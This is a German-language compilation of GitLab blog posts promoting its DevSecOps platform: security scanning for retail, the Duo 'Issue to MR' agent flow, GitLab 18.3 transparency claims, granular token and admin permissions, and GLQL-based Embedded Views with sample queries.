Eine DevSecOps-Plattform ermöglicht sichere Innovation im großen Maßstab

GitLab bietet das umfassendste Set an Sicherheitsscannern zur Maximierung der Anwendungsabdeckung, einschließlich:

• SAST
• DAST
• Abhängigkeitsscannen
• Container-Scannen
• Geheimnis-Erkennung
• Infrastructure-as-Code-Scannen
• Fuzz-Testing

Aber bei Sicherheit geht es nicht nur ums Scannen. Es geht darum, die richtigen Richtlinien durchzusetzen, um sicherzustellen, dass Schwachstellen konsistent identifiziert und behoben werden. Mit GitLab erhalten Sicherheitsteams volle Kontrolle, um sicherzustellen, dass der richtige Scan zur richtigen Zeit auf der richtigen Anwendung ausgeführt wird und dass die Ergebnisse behandelt werden, bevor sie in die Produktion gelangen.

<center><i>Sicherheitsscans laufen in der CI/CD-Pipeline und liefern sofortiges Feedback zu potenziellen Schwachstellen.</i></center> <p></p>

<center><i>Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.</i></center>

Eine Plattform für Dev, Sec und Ops

Retail-Teams verschwenden unzählige Stunden damit, zwischen Tools zu wechseln, Daten manuell zu übertragen, Informationen zwischen Systemen aufgrund fragiler Integrationen zu verlieren und widersprüchliche Berichte abzugleichen. Eine einheitliche Plattform beseitigt diese Reibung:

• Einzige Quelle der Wahrheit für Quellcode, Pipelines, Schwachstellen und Compliance
• Kein Integrationsaufwand oder Tool-Kompatibilitätsprobleme
• Konsistente Workflows über alle Teams und Projekte

Das Ergebnis? Teams verbringen Zeit mit der Lösung von Problemen anstatt mit der Verwaltung von Tools.

<center><i>Im Compliance-Center kannst du Compliance-Frameworks für deine Projekte durchsetzen.</i></center> <p></p>

<center><i>Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.</i></center>

Geteilte Sicherheitsverantwortung, keine Silos

Die erfolgreichsten Retail-Sicherheitsprogramme machen Sicherheit zur Verantwortung aller, nicht nur zur Last des Sicherheitsteams.

Entwickler(innen)-Ermächtigung

Sicherheits- und Compliance-Anleitungen erscheinen direkt in Merge Requests, wodurch es unmöglich wird, kritische Probleme zu übersehen. Entwickler(innen) erhalten sofortiges Feedback zu jedem Commit mit klaren Erklärungen zu Risiken und Behebungsschritten. Zum Beispiel helfen KI-gestützte Schwachstellenerklärung und Schwachstellenbehebung Entwickler(inne)n, Sicherheitsprobleme unabhängig zu verstehen und zu beheben, wodurch Engpässe reduziert und Sicherheitsexpertise im gesamten Team aufgebaut wird.

<center><i>Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.</i></center>

<p></p>

Automatisierte Compliance

Generiere Audit-Berichte, verfolge die Lizenznutzung und pflege eine Software-Stückliste (SBOM) ohne manuellen Aufwand.

<center><i>GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.</i></center> <p></p>

Dieser Ansatz verwandelt Sicherheit von einem HIndernis, das die Bereitstellung verlangsamt, in ein Fundament, das selbstbewusste, schnelle Innovation ermöglicht.

Plattform vs. Einzeltools: Was Händler wissen müssen

Das Fazit: Sicherheitsexzellenz treibt den Einzelhandelserfolg voran

Im Einzelhandel geht es bei Sicherheit nicht nur um Datenschutz, sondern um den Schutz der Kundenerfahrung, die den Umsatz antreibt. Wenn Sicherheit Veröffentlichungen verlangsamt oder Schwachstellen schafft, wirkt sich das direkt auf den Umsatz aus. Kunden erwarten jedes Mal sichere, nahtlose Erlebnisse.

GitLabs integrierte DevSecOps-Plattform hilft Händlern:

• Schneller bereitzustellen ohne Sicherheitskompromisse mit automatisierten Scans, die Probleme erkennen, bevor Kunden es tun.
• Compliance-Anforderungen mühelos zu erfüllen durch integrierte Berichterstattung für DSGVO, PCI-DSS und Branchenstandards.
• Sicherheitstoolkosten erheblich zu senken durch Ersatz mehrerer Einzellösungen mit einer Plattform.
• Entwickler(innen) zu Sicherheitsbefürwortern zu machen mit Anleitung und Automatisierung, nicht mit Hindernissen.

Teste hier einige der Sicherheitsfunktionen von GitLab:

• Schwachstellen mit GitLab Duo beheben
• Scans zur Pipeline hinzufügen
• Compliance-Frameworks
• Erweiterte SAST

Bereit loszulegen? Entdecke, wie GitLab Ultimate mit Duo Enterprise deine Retail-Sicherheitsstrategie mit einer kostenlosen Testversion optimieren kann.

"Issue to MR" ist ein Agent Flow, der die Umwandlung eines klar definierten Issues in einen Draft Merge Request (MR) vereinfacht. Der Flow analysiert die Beschreibung und Anforderungen eines Issues, öffnet einen Draft MR, der mit dem Issue verknüpft ist, erstellt einen Entwicklungsplan und schlägt eine Implementierung vor – direkt aus der GitLab-Oberfläche.

Die Herausforderung für Entwickler

Produktanpassungen wie das Umgestalten eines UI-Layouts, das Anpassen der Komponentengröße oder kleine Workflow-Änderungen sollten nicht stundenlange Einrichtungsarbeiten erfordern. Doch Entwickler finden sich in einem frustrierenden Kreislauf wieder: Sie durchsuchen Codebasen nach den richtigen Dateien, erstellen Branches, fügen verstreute Änderungen über mehrere Komponenten zusammen und navigieren durch komplexe Review-Prozesse. Und das alles, bevor sie überhaupt sehen können, ob ihre Lösung funktioniert. Der Entwicklungsaufwand verwandelt einfache Iterationen in zeitaufwändige Aufgaben, verlangsamt Feedback-Schleifen und lässt kleine Produktverbesserungen wie große Projekte erscheinen.

Wie der Issue to MR Flow eine Anwendungsaktualisierung beschleunigt

Du musst zuerst diese Voraussetzungen erfüllen, bevor du den Issue to MR Flow nutzen kannst.

Voraussetzungen:

• Ein bestehendes Issue mit klaren Anforderungen und Akzeptanz-Kriterien. Dies hilft GitLab Duo Agent Platform besser zu verstehen, was du erreichen möchtest, und verbessert die Qualität deiner Ausgabe.
• Projektzugriff mit mindestens Developer-Berechtigungen, da der Flow Änderungen am Quellcode deines Projekts vornimmt.
• GitLab Duo Agent Platform für deine Gruppe oder dein Projekt aktiviert, mit erlaubten Flows. Gehe dazu in deinem Projekt zu Einstellungen > Allgemein > GitLab Duo > Flow-Ausführung erlauben und aktiviere es. GitLab ist bestrebt, Sicherheitsvorkehrungen zu bieten, daher erfordern Agentic-AI-Funktionen das Aktivieren dieser Schalter, um sensible Projekte zu schützen und sicherzustellen, dass nur die gewünschten Projekte für GitLab Duo Agent Platform zugänglich sind.

Sobald du alle oben genannten Voraussetzungen erfüllt hast, kannst du diese Schritte befolgen, um den Issue to MR Flow zu nutzen:

1. Erstelle ein Projekt-Issue, das beschreibt, was GitLab Duo Agent Platform für dich erreichen soll. Gib so viele Details wie möglich in der Issue-Beschreibung an. Falls das Issue bereits existiert, öffne es über Plan > Issues und klicke auf das Issue, das die gewünschte Aktualisierung beschreibt. Drücke dich so präzise wie möglich aus.
2. Klicke unter der Issue-Überschrift auf Generate MR with Duo, um den Flow zu starten.
3. Wenn du den Fortschritt der Agenten bei der Implementierung deines Issues verfolgen möchtest, gehe zu Automate > Agent sessions, um das Live-Session-Log zu sehen, während Agenten planen und Änderungen vorschlagen.
4. Wenn die Pipeline abgeschlossen ist, erscheint ein Link zum MR in der Issue-Aktivität. Öffne ihn, um die Zusammenfassung und dateibasierte Änderungen zu überprüfen.
5. Wenn du die von GitLab Duo Agent Platform vorgeschlagenen Aktualisierungen lokal validieren möchtest, kannst du den Branch auf deinen Laptop ziehen, deine App erstellen und ausführen und überprüfen, ob die Aktualisierung wie erwartet funktioniert. Falls nötig, nimm Änderungen im MR vor und fahre mit dem normalen Review fort.
6. Wenn du mit allen vorgeschlagenen Anwendungsaktualisierungen zufrieden bist, merge den MR in den Main Branch.

Warum der Issue to MR Flow gut für Anwendungsänderungen funktioniert

Der Issue to MR Flow schlägt Code-Änderungen vor und aktualisiert den MR direkt, sodass du weniger Zeit mit der Dateisuche verbringst und nur das Ergebnis bewerten und überprüfen musst. Zusätzlich wird der MR automatisch mit dem ursprünglichen Issue verknüpft, was den Kontext für Reviewer und Stakeholder klar hält. Schließlich kannst du die Agent-Session überwachen, um zu verstehen, was bei jedem Schritt passiert.

Vorteile von GitLab Duo Agent Platform

GitLab Duo Agent Platform ist eine agentische Orchestrierungsschicht, die vollständigen Projektkontext mitbringt, einschließlich Planung, Codierung, Erstellung, Sicherung, Bereitstellung und Überwachung, sodass Agenten im gesamten Software-Entwicklungslebenszyklus (SDLC) helfen können, nicht nur bei der Code-Bearbeitung.

• Einheitliches Datenmodell: GitLab Duo Agents arbeiten mit GitLabs einheitlichen SDLC-Daten und ermöglichen qualitativ hochwertigere Entscheidungen und Zusammenarbeit bei Aufgaben – auch bei nicht codebezogenen.
• Sicherheit und Compliance sind integriert: GitLab Duo Agents laufen innerhalb von Enterprise-Sicherheitsvorkehrungen und sind auch in stark regulierten oder Offline-/Air-Gap-Umgebungen nutzbar.
• Interoperabilität und Erweiterbarkeit: Orchestriere Flows über Anbieter und Tools hinweg; verbinde externe Daten über MCP/A2A für reicheren Kontext.
• Skaliere die Zusammenarbeit: GitLab Duo Agents arbeiten in der GitLab-UI und IDEs und ermöglichen Viele-zu-Viele-Mensch-Agent-Zusammenarbeit.
• Auffindbar und teilbar: Finde und teile Agents und Flows in einem zentralisierten AI-Katalog.

Probiere den Issue to MR Flow noch heute aus

Für Anwendungsaktualisierungen, wie eine kleine UI-Anpassung, hilft dir der Issue to MR Flow, schnell von einem klaren Issue zu einem überprüfbaren MR zu gelangen, mit Fortschritt, den du überwachen kannst, und Änderungen, die du validieren und über deinen Standardworkflow mergen kannst. Er bewahrt den Kontext, reduziert Übergaben und lässt dein Team sich auf Qualität statt auf Routinearbeit konzentrieren.

Sieh dir den Issue to MR Flow in Aktion an:

<!-- blank line -->

<figure class="video_container"> <iframe src="https://www.youtube.com/embed/BrrMHN4gXF4?si=J7beTgWOLxvS4hOw" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

Probiere den Issue to MR Flow auf GitLab Duo Agent Platform jetzt mit einer kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise aus.

Letzten Monat kündigten wir GitLab 18.3 an, die neueste Version unserer KI-nativen DevSecOps-Plattform. Agent Insights, Teil der GitLab Duo Agent Platform, bietet Einblicke in die Entscheidungsprozesse der Agenten. Erweiterte KI-Modellunterstützung bedeutet keine Anbieterabhängigkeit. Verbesserte Governance-Kontrollen ermöglichen Compliance über mehrere Rechtsräume hinweg.

Das sind nicht nur Funktionen. Es sind Beispiele für Transparenz, Unabhängigkeit und den entwicklerorientierten Ansatz, der GitLab definiert. So setzt sich diese Strategie in der Praxis um.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1115249475?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Who is GitLab_Robin_090225_FINAL"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

KI-Transparenz über den gesamten DevSecOps-Lebenszyklus

Bei GitLab adressiert unser jahrzehntelanges Engagement für Transparenz diese Bedenken direkt. Da künstliche Intelligenz zunehmend in Entwicklungs-Workflows integriert wird, sind Organisationen zu Recht besorgt darüber, wie Code und Daten für KI-Training verwendet werden.

Das GitLab KI-Transparenzzentrum, im April 2024 gestartet, bietet eine klare Dokumentation unserer Datenverarbeitungspraktiken, Datenschutzmaßnahmen und ethischen KI-Prinzipien. Im Gegensatz zu Plattformen, die KI-Funktionen mit unklaren Datennutzungsrichtlinien betreiben, priorisiert GitLab Transparenz, damit Kund(inn)en genau verstehen, wie Daten verarbeitet werden, gespeichert und geschützt werden – ohne Training mit diesen Daten.

Unser Ansatz erstreckt sich auf Modellflexibilität und Anbieterunabhängigkeit. Während einige Plattformen Kund(inn)en an einzelne Large Language Model (LLM)-Anbieter binden und damit zusätzliche Anbieterabhängigkeiten und potenzielle Single Points of Failure schaffen, werden GitLabs KI-Funktionen von verschiedenen Modellen unterstützt. Dieser Ansatz ermöglicht es uns, eine breite Palette von Anwendungsfällen zu unterstützen und bietet Kund(inn)en die Flexibilität, sich an strategischen Prioritäten auszurichten.

Bei der Weiterentwicklung der GitLab Duo Agent Platform bleiben wir auf Datenkontrolle fokussiert und behalten umfassende Human-in-the-Loop-Kontrollen bei. Und GitLab Duo Self-Hosted bietet vollständige Datensouveränität mit luftdichten Bereitstellungsoptionen, Zero-Day-Datenaufbewahrungsrichtlinien und der Möglichkeit, alle KI-Anfragen innerhalb der eigenen Infrastruktur zu verarbeiten.

Seit Mai 2024 pflegen wir auch einen KI-Kontinuitätsplan mit einem branchenführenden Versprechen: die Fähigkeit, innerhalb von 30 Tagen ein neues Modell zu evaluieren und zu wechseln, falls ein Anbieter seine Praktiken bezüglich Kundendaten ändert. Dieser proaktive Ansatz zum KI-Anbieter-Risikomanagement spiegelt unser Engagement für Kundenkontrolle wider.

Wahlfreiheit bei Bereitstellung und Cloud-Anbieter

Organisationen sollten wählen können, wie und wo die DevSecOps-Umgebung bereitgestellt wird. GitLab bietet echte Bereitstellungsflexibilität. Organisationen können zwischen On-Premises-Installationen, Multi-Tenant-SaaS oder GitLab Dedicated wählen, unserer vollständig verwalteten Single-Tenant-SaaS-Lösung, ohne auf Funktionalität zu verzichten oder künstlichen Einschränkungen ausgesetzt zu sein, die auf Ökosystem-Lock-in abzielen. GitLab ist auch Cloud-neutral, sodass Kund(inn)en den Cloud-Anbieter nutzen können, der am besten zu Geschäftsanforderungen und Umgebung passt.

Diese Flexibilität erweist sich als unschätzbar wertvoll bei der Navigation durch komplexe rechtliche Anforderungen und regulatorische Herausforderungen. Wenn neue Datenlokalisierungsgesetze entstehen – wie wir es in der Europäischen Union und anderen Regionen gesehen haben – können Organisationen, die GitLab nutzen, ihre Bereitstellungsstrategien schnell anpassen, ohne durch Ökosystemabhängigkeiten eingeschränkt zu sein.

Aus Beschaffungs- und Risikomanagement-Perspektive bietet Plattformunabhängigkeit auch entscheidende Verhandlungsmacht bei Vertragsverhandlungen. Organisationen werden nicht in restriktive Lizenzvereinbarungen gezwungen, die Anbieterinteressen über Kundenbedürfnisse stellen. Diese Unabhängigkeit wird besonders kritisch, da Unternehmen wachsamer werden, wer ihren KI-Stack kontrolliert.

Sicherheit und Compliance: Eingebaut und immer Priorität

Sicherheit und Compliance sind jetzt genauso wichtig wie Entwicklungsfunktionen und sollten in die Plattform eingebaut sein, nicht nachträglich hinzugefügt. GitLabs Single-Platform-Ansatz bietet erhebliche Vorteile gegenüber fragmentierten Plattformen, die auf Drittanbieter-Add-Ins angewiesen sind, um grundlegende Sicherheits- und Governance-Funktionen zu erreichen. Dieser architektonische Unterschied hat erhebliche Auswirkungen auf mögliche rechtliche Risiken, operative Effizienz und regulatorische Compliance. Jedes zusätzliche Tool in der Kette stellt einen weiteren potenziellen Fehlerquellen dar, weitere Geschäftsbedingungen, die verhandelt werden müssen, und eine weitere Risikoquelle.

GitLab bietet umfassende eingebaute Sicherheits- und Compliance-Funktionen, einschließlich kundenspezifischer Compliance-Frameworks, dynamischem Application Security Testing (DAST), API-Fuzz-Testing, Coverage-Guided Fuzzing und Infrastructure-as-Code-Testing. Diese Funktionen sind nativ in die Plattform integriert und bieten konsistente Richtliniendurchsetzung und reduzieren die Compliance-Komplexität und zusätzlichen Kosten, die mit der Verwaltung mehrerer Drittanbieter-Tools verbunden sind.

Unser Compliance-Center bietet einen zentralen Ort für Teams, um ihre Compliance-Standards, Compliance-Berichte, Verstöße und Compliance-Frameworks für ihre Gruppe zu verwalten. Dieser einheitliche Ansatz für das Compliance-Management ist besonders wertvoll für Organisationen in stark regulierten Branchen, in denen Audit-Trails und Compliance-Dokumentation kritisch sind.

Nähe zur Open-Source-Community

Die besten Tools werden von den Menschen geprägt, die sie nutzen. Unser Engagement für Open Source und die Zusammenarbeit mit unserer Community ist seit unserer Gründung Kern von GitLab. Beispielsweise ist unser Co-Create-Programm eine kollaborative Initiative, die es Kund(inn)en ermöglicht, direkt mit GitLab-Ingenieur(inn)en zusammenzuarbeiten, um Funktionen, Fixes und Verbesserungen zur GitLab-Plattform beizutragen.

Unser Transparenzwert bleibt grundlegend für unser Geschäft. Ein Beispiel dafür ist unser offener Issue-Tracker, in dem Kund(inn)en unseren Fortschritt verfolgen und direkt mit dem GitLab-Team in Diskussionen über Verbesserungsmöglichkeiten unseres Produkts eintreten können. Wir haben kürzlich unsere Healthy Backlog Initiative gestartet, um Kund(inn)en noch größere Einblicke in unsere Planung zu geben und ihr Feedback an Stellen mit der größten Wirkung zu lenken.

Unser Ansatz ermöglicht es Organisationen, zu Open-Source-Innovation beizutragen und davon zu profitieren, während sie die Governance, Audit-Trails und Sicherheitskontrollen beibehalten, die für regulierte Umgebungen erforderlich sind.

Daten-Governance: Die Daten, die Kontrolle

Vollständige Kontrolle über Daten und deren Verarbeitung bleibt erhalten. Daten-Governance ist zu einem immer kritischeren Faktor bei Unternehmensentscheidungen geworden, angetrieben durch ein komplexes Netz nationaler und regionaler Datenschutzgesetze und wachsende Bedenken über die Kontrolle sensibler geistiger Eigentumsrechte – wie Quellcode, Kundeneinblicke, strategische Initiativen und Wettbewerbsinformationen.

Mit GitLab kann verwaltet werden, wer Zugang zu KI-gestützten Funktionen innerhalb der Plattform hat, was über einfache Zugriffskontrollen hinausgeht und Verschlüsselungsstandards und Audit-Funktionen umfasst, die auf regulatorische Frameworks ausgerichtet sind. Außerdem werden Code und Daten von Kund(inn)en niemals zum Training von KI-Modellen verwendet.

Die Wahl ist klar

GitLab führt weiterhin bei KI-nativer DevSecOps-Plattform-Innovation – unsere jüngste 18.3-Version zeigt dies – während wir den Unabhängigkeits- und Transparenzverpflichtungen treu bleiben, die uns immer geleitet haben.

Kund(inn)en haben eine Wahl und sie ist klar: Kontrolle behalten vs. Anbieterabhängigkeit; Transparenz vs. Unsicherheit; Engagement für Innovation vs. Launen des größeren Ökosystems.

GitLab bietet die Grundlage für nachhaltige digitale Transformation, die Innovation mit Unabhängigkeit ausbalanciert und dabei hilft, Geschäftswert für Kund(inn)en zu erzielen.

GitLab Ultimate mit GitLab Duo heute kostenlos testen.

Diese Funktion ermöglicht es Maintainern, granulare Berechtigungen zu implementieren, die den Job-Token-Zugriff auf API-Ressourcen kontrollieren. Gemäß dem Principle of Least Privilege haben diese Job Tokens keinerlei Zugriffsmöglichkeit auf API-Ressourcen, bis explizit Berechtigungen erteilt werden.

Diese erste Version umfasst granulare Berechtigungen für die folgenden Ressourcen:

• Repositories
• Deployments
• Environments
• Jobs
• Packages
• Pipelines
• Releases
• Secure Files
• Terraform State

Zusätzliche API-Endpunkte sind für zukünftige Releases geplant. Weitere Informationen finden sich im zugehörigen Epic.

Das Gesamtbild

Diese Version stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Historisch waren Job Tokens an den oder die Benutzer(in) gebunden, der oder die die Pipeline ausführt, wodurch bestehende Privilegien weitergegeben wurden und Sicherheitsrisiken entstanden, wenn Pipelines kompromittiert wurden.

Granulare Berechtigungen für Job Tokens bieten eine Grundlage für ein sichereres CI/CD-Ökosystem, das:

• Die Angriffsfläche reduziert: Implementiert das Principle of Least Privilege durch Beschränkung des Zugriffs auf nur notwendige Ressourcen
• Die Abhängigkeit von langlebigen Tokens eliminiert: Bietet eine sichere Alternative, die den Bedarf an persönlichen Zugriffstokens und anderen persistenten Anmeldedaten reduziert
• Auf maschinenbasierte Identität vorbereitet: Dieser Opt-in-Ansatz legt den Grundstein dafür, Job Tokens perspektivisch vollständig von Benutzeridentitäten zu entkoppeln und sich in Richtung echter Machine-to-Machine-Authentifizierung zu bewegen
• Sichere Automatisierung im großen Maßstab ermöglicht: Unterstützt komplexe Deployment-Workflows und CI/CD-Komponenten ohne Kompromisse bei der Sicherheit

Erste Schritte

Security-Teams und DevOps-Ingenieure sollten diese Funktion für alle Projekte evaluieren, die automatisierte Deployments, Package-Veröffentlichungen oder Infrastructure Management durchführen. Da es sich um eine Opt-in-Funktion handelt, kann die Migration schrittweise erfolgen, um Störungen bestehender Pipelines zu minimieren.

Beginne damit, die kritischsten Pipelines zu identifizieren und deren aktuelle Berechtigungsanforderungen zu prüfen. Aktiviere dann granulare Berechtigungen und konfiguriere den minimalen Zugriff, der für jedes Projekt benötigt wird. Weitere Informationen finden sich in der Dokumentation zu granularen Berechtigungen für CI/CD Job Tokens.

Diese granularen Admin-Berechtigungen ermöglichen es Organisationen, zweckgebundene administrative Rollen zu erstellen, anstatt Benutzern vollständigen Administratorzugang zu gewähren. Mögliche Anwendungsfälle umfassen:

• Platform Team: Zugriff auf Runner-Management, Instanz-Monitoring und Performance-Metriken
• Support Team: Zugriff auf User-Management und Troubleshooting-Workflows
• Leadership Team: Zugriff auf Dashboards, Nutzungsstatistiken und Lizenzierung

Funktionen

• Granulare Berechtigungen: Custom Permissions ermöglichen es, eine Rolle zu erstellen, die den spezifischen Anforderungen entspricht.
• Management auf Instanzebene: Custom Admin Roles werden zentral erstellt und verwaltet.
• LDAP-Integration: Unterstützung für die Zuweisung großer Benutzergruppen zu Rollen über Directory-Server.
• Audit-Integration: Funktioniert mit dem bestehenden Admin-Modus und Audit-Events.

Mission: Die Sicherheit der Software-Supply-Chain verbessern

Diese Funktion stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Als Teil dieser Mission hat GitLab auch Custom Roles für Projekte und Gruppen sowie granulare Berechtigungen für CI/CD Job Tokens hinzugefügt.

Weitere Informationen zu Custom Admin Roles finden sich unter Custom Roles. Zusätzliche Berechtigungen sind für zukünftige Releases geplant. Um Feedback zu teilen, siehe das Custom Roles Issue.

Überblick zu behalten, was in deinem Projekt passiert? Vielleicht prüfst du

eine Issue, springst dann zu einem Merge Request und dann zu einem Epic, um

zu sehen, wie alles zusammenhängt. Ehe du dich versiehst, ist dein Browser

voller Tabs und du hast den roten Faden verloren.

Keine Sorge, du stehst nicht alleine da. Viele Teams verschwenden Zeit und Energie damit, zwischen verschiedenen Elementen in ihrer Projektverwaltungssoftware hin und her zu springen, nur um den Überblick über ihre Arbeit zu behalten.

Deshalb haben wir Embedded Views entwickelt, angetrieben von GitLab Query Language (GLQL). Mit Embedded Views, verfügbar ab 18.3, erhältst du Live-Informationen genau dort, wo du bereits in GitLab arbeitest. Kein endloses Kontextwechseln mehr. Keine veralteten Berichte mehr. Nur die Informationen, die du brauchst, genau dann, wenn du sie brauchst.

Warum Embedded Views wichtig sind

Embedded Views sind mehr als nur ein neues Feature – sie stellen eine grundlegende Veränderung dar, wie Teams ihre Arbeit in GitLab verstehen und verfolgen. Mit Embedded Views können Teams den Kontext beibehalten, während sie auf Echtzeitinformationen zugreifen, gemeinsames Verständnis schaffen und die Zusammenarbeit verbessern, ohne ihren aktuellen Workflow zu verlassen. Es geht darum, die Arbeitsverfolgung natürlich und mühelos zu gestalten, damit Sie sich auf das Wesentliche konzentrieren können.

So funktioniert's: Echtzeitdaten genau dort, wo sie am meisten gebraucht werden

Mit Embedded Views kannst du Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests einfügen. Das macht sie so nützlich:

Immer aktuell

GLQL-Abfragen sind dynamisch und rufen bei jedem Seitenladen frische Daten ab. Deine Embedded Views spiegeln also immer den aktuellen Zustand deiner Arbeit wider, nicht den Zustand beim Einbetten der Ansicht. Wenn Änderungen an Issues, Merge Requests oder Milestones auftreten, zeigt eine Seitenaktualisierung diese Updates in Ihrer Embedded View an.

Kontextbezogenes Bewusstsein

Verwende Funktionen wie currentUser() und today(), um Abfragen kontextspezifisch zu machen. Deine Embedded Views passen sich automatisch an, um relevante Informationen für die jeweilige Person anzuzeigen, die sie betrachtet, und schaffen so personalisierte Erlebnisse ohne manuelle Konfiguration.

Leistungsstarke Filterung

Filter nach Feldern wie Zuweisenden, Autor(inn)en, Label, Milestone, Gesundheitsstatus, Erstellungsdatum und mehr. Verwende logische Ausdrücke, um genau die gewünschten Daten zu erhalten. Wir unterstützen mehr als 30 Felder ab Version 18.3.

Anpassbare Anzeige

Du kannst deine Daten als Tabelle, Liste oder nummerierte Liste anzeigen. Wähle, welche Felder angezeigt werden sollen, lege ein Limit für die Anzahl der Elemente fest und gib die Sortierreihenfolge an, um deine Ansicht fokussiert und handlungsorientiert zu halten.

Verfügbarkeit

Du kannst Embedded Views in Gruppen- und Projekt-Wikis, Epic- und Issue-Beschreibungen, Merge Requests und Kommentaren verwenden. GLQL ist in allen GitLab-Stufen verfügbar: Free, Premium und Ultimate, auf GitLab.com, GitLab Self-Managed und GitLab Dedicated. Bestimmte Funktionen wie die Anzeige von Epics, Status, benutzerdefinierten Feldern, Iterationen und Gewichtungen sind in den Stufen Premium und Ultimate verfügbar. Die Anzeige des Gesundheitsstatus ist nur in Ultimate verfügbar.

Embedded Views in Aktion erleben

Die Syntax einer Embedded View-Quelle ist eine Obermenge von YAML. Sie besteht aus:

• Dem query-Parameter: Ausdrücke, die mit einem logischen Operator wie and verbunden werden.

• Parametern für die Präsentationsebene wie display, limit oder fields, title und description, dargestellt als YAML.

Eine View wird in Markdown als Codeblock definiert, ähnlich wie andere Codeblöcke wie Mermaid.

Zum Beispiel:

Zeige eine Tabelle der ersten 5 offenen Issues an, die dem authentifizierten Benutzer in gitlab-org/gitlab zugewiesen sind.

Zeige die Spalten title, state, health, description, epic, milestone, weight und updated.

```glql


display: table


title: GLQL-Tabelle 🎉


description: Diese Ansicht listet meine offenen Issues auf


fields: title, state, health, epic, milestone, weight, updated


limit: 5


query: project = "gitlab-org/gitlab" AND assignee = currentUser() AND state = opened


```

Diese Quelle sollte eine Tabelle wie die folgende rendern:

Eine einfache Möglichkeit, erste Embedded View zu erstellen, besteht darin, zum Dropdown-Menü Weitere Optionen in der Rich-Text-Editor-Symbolleiste zu navigieren. Wähle dort Embedded View aus, wodurch folgende Abfrage in einem Markdown-Codeblock eingefügt wird:

```glql


query: assignee = currentUser()


fields: title, createdAt, milestone, assignee


title: Mir zugewiesene Issues


```

Speicher deine Änderungen im Kommentar oder in der Beschreibung, wo der Codeblock erscheint, und schon bist du fertig! Du hast erfolgreich deine erste Embedded View erstellt!

Wie GitLab Embedded Views nutzt

Ob wir Merge Requests für Security-Releases nachverfolgen, Bugs zur Verbesserung der Backlog-Hygiene triagieren oder Team-Onboarding und Milestone-Planung verwalten – wir verlassen uns täglich bei geschäftskritischen Prozessen auf Embedded Views. Dies ist nicht nur ein Feature, das wir entwickelt haben, es ist ein Tool, auf das wir uns verlassen, um unser Geschäft effektiv zu führen. Wenn du Embedded Views einführst, erhältst du eine getestete Lösung, die GitLab-Teams bereits dabei hilft, effizienter zu arbeiten, datengesteuerte Entscheidungen zu treffen und die Transparenz über komplexe Workflows hinweg zu wahren. Einfach ausgedrückt: Embedded Views können verändern, wie dein Team auf die Arbeit zugreift und sie analysiert, die für deinen Erfolg am wichtigsten ist.

Um mehr darüber zu erfahren und zu sehen, wie GitLab Embedded Views intern nutzt, schaue dir How GitLab measures Red Team impact: The adoption rate metric und Global Search Release Planning Issues für die Milestones 18.1, 18.2 und 18.3 an.

Was kommt als Nächstes

Embedded Views sind nur der Anfang der Vision der Knowledge Group für die Arbeitsverfolgung. Erfahre mehr über unsere nächsten Schwerpunkte im Embedded Views Post-GA Epic. Während sich Embedded Views weiterentwickeln, wollen wir sie noch leistungsfähiger und zugänglicher zu machen.

Teile deine Erfahrungen

Teile uns dein Feedback mit im Embedded Views GA Feedback Issue. Egal ob du innovative Anwendungsfälle entdeckt hast, auf Herausforderungen gestoßen bist oder Verbesserungsideen hast – wir wollen von dir hören.

Diese Transformation erfolgt auf drei unterschiedlichen Ebenen, die weit über das hinausgehen, was andere KI-Entwicklungstools bieten:

Erstens sind wir ein System of Record. Die einheitliche Datenplattform speichert die wertvollsten digitalen Assets. Dazu gehören Quellcode und geistiges Eigentum sowie eine Fülle unstrukturierter Daten, die Projektpläne, Bug-Backlogs, CI/CD-Konfigurationen, Deployment-Historien, Sicherheitsberichte und Compliance-Daten umfassen. Dies schafft einen Datenschatz an Kontextinformationen, der sicher in der GitLab-Umgebung verbleibt und für generische Agenten oder große Sprachmodelle unzugänglich ist.

Zweitens fungieren wir als Software-Control-Plane. Wir orchestrieren die kritischsten Geschäftsprozesse über Git-Repositories, REST-APIs und Webhook-basierte Schnittstellen, die die End-to-End-Software-Lieferung antreiben. Viele Kunden betrachten dies als Tier-0-Abhängigkeit, auf die sich ihre geschäftskritischen Prozesse täglich verlassen.

Drittens bieten wir eine leistungsstarke Benutzererfahrung. Wir liefern eine integrierte Oberfläche, die den kostspieligen Kontextwechsel eliminiert, der die meisten Entwicklungsteams verlangsamt. Mit vollständiger Lifecycle-Transparenz und Kollaborationstools in einer Plattform verlassen sich über 50 Millionen registrierte Nutzende und die riesige Community auf GitLab, um ihre Arbeit zu erledigen. Diese Expertise positioniert GitLab einzigartig, um eine intuitive Mensch-zu-KI-Zusammenarbeit zu ermöglichen, die die Teamproduktivität steigert und gleichzeitig die bewährten Workflows bewahrt.

Erweiterung der Plattform mit nativ integrierter KI auf allen Ebenen

Die GitLab Duo Agent Platform integriert und erweitert alle drei dieser Ebenen. Sie ist auf Erweiterbarkeit und Interoperabilität ausgelegt und ermöglicht es Kunden und Partnern, Lösungen zu entwickeln, die noch mehr Wert schaffen. Der offene Plattformansatz betont die nahtlose Konnektivität mit externen KI-Tools und -Systemen, während gleichzeitig eine tiefe Integration in den bestehenden Stack auf allen drei Ebenen gewährleistet wird.

